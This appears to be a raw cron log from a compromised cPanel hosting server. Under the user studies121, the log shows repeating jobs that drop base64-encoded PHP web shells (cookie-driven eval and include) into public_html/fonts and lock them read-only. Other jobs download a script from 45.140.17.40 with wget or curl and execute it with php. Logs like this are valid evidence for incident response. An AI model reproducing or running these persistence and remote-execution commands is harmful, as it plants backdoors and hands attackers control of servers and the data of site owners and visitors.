Sep  4 04:30:02 ip-184-168-122-23 CROND[20867]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:31:01 ip-184-168-122-23 CROND[21000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:31:01 ip-184-168-122-23 CROND[21001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:31:01 ip-184-168-122-23 CROND[20999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:31:01 ip-184-168-122-23 CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:31:01 ip-184-168-122-23 CROND[21003]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 04:32:01 ip-184-168-122-23 CROND[21103]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:32:01 ip-184-168-122-23 CROND[21104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:32:01 ip-184-168-122-23 CROND[21106]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:32:01 ip-184-168-122-23 CROND[21105]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:32:01 ip-184-168-122-23 CROND[21107]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:33:01 ip-184-168-122-23 CROND[21234]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:33:01 ip-184-168-122-23 CROND[21236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:33:01 ip-184-168-122-23 CROND[21238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:33:01 ip-184-168-122-23 CROND[21237]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:34:01 ip-184-168-122-23 CROND[21439]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:34:01 ip-184-168-122-23 CROND[21440]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:34:01 ip-184-168-122-23 CROND[21442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:34:01 ip-184-168-122-23 CROND[21443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:34:01 ip-184-168-122-23 CROND[21445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:35:01 ip-184-168-122-23 CROND[21559]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:35:01 ip-184-168-122-23 CROND[21560]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:35:01 ip-184-168-122-23 CROND[21562]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:35:01 ip-184-168-122-23 CROND[21564]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:35:01 ip-184-168-122-23 CROND[21565]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:35:01 ip-184-168-122-23 CROND[21566]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  4 04:35:01 ip-184-168-122-23 CROND[21568]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 04:35:01 ip-184-168-122-23 CROND[21567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:36:01 ip-184-168-122-23 CROND[21716]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:36:01 ip-184-168-122-23 CROND[21719]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:36:01 ip-184-168-122-23 CROND[21720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:36:01 ip-184-168-122-23 CROND[21721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:36:01 ip-184-168-122-23 CROND[21722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:37:01 ip-184-168-122-23 CROND[21904]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:37:01 ip-184-168-122-23 CROND[21906]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:37:01 ip-184-168-122-23 CROND[21908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:37:01 ip-184-168-122-23 CROND[21909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:38:01 ip-184-168-122-23 CROND[22124]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Sep  4 04:38:01 ip-184-168-122-23 CROND[22125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:38:01 ip-184-168-122-23 CROND[22129]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:38:01 ip-184-168-122-23 CROND[22128]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:38:01 ip-184-168-122-23 CROND[22127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:38:01 ip-184-168-122-23 CROND[22131]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:39:01 ip-184-168-122-23 CROND[22475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:39:01 ip-184-168-122-23 CROND[22477]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:39:01 ip-184-168-122-23 CROND[22478]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:39:01 ip-184-168-122-23 CROND[22480]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:39:01 ip-184-168-122-23 CROND[22481]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 04:40:01 ip-184-168-122-23 CROND[22652]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 04:40:01 ip-184-168-122-23 CROND[22655]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:40:01 ip-184-168-122-23 CROND[22657]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:40:01 ip-184-168-122-23 CROND[22658]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:40:01 ip-184-168-122-23 CROND[22661]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:40:01 ip-184-168-122-23 CROND[22662]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 04:40:01 ip-184-168-122-23 CROND[22665]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 04:40:01 ip-184-168-122-23 CROND[22667]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:41:01 ip-184-168-122-23 CROND[22826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:41:01 ip-184-168-122-23 CROND[22825]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:41:01 ip-184-168-122-23 CROND[22827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 04:41:01 ip-184-168-122-23 CROND[22828]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:42:01 ip-184-168-122-23 CROND[22943]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  4 04:42:01 ip-184-168-122-23 CROND[22945]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  4 04:42:01 ip-184-168-122-23 CROND[22947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 04:42:01 ip-184-168-122-23 CROND[22948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  4 04:42:01 ip-184-168-122-23 CROND[22946]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
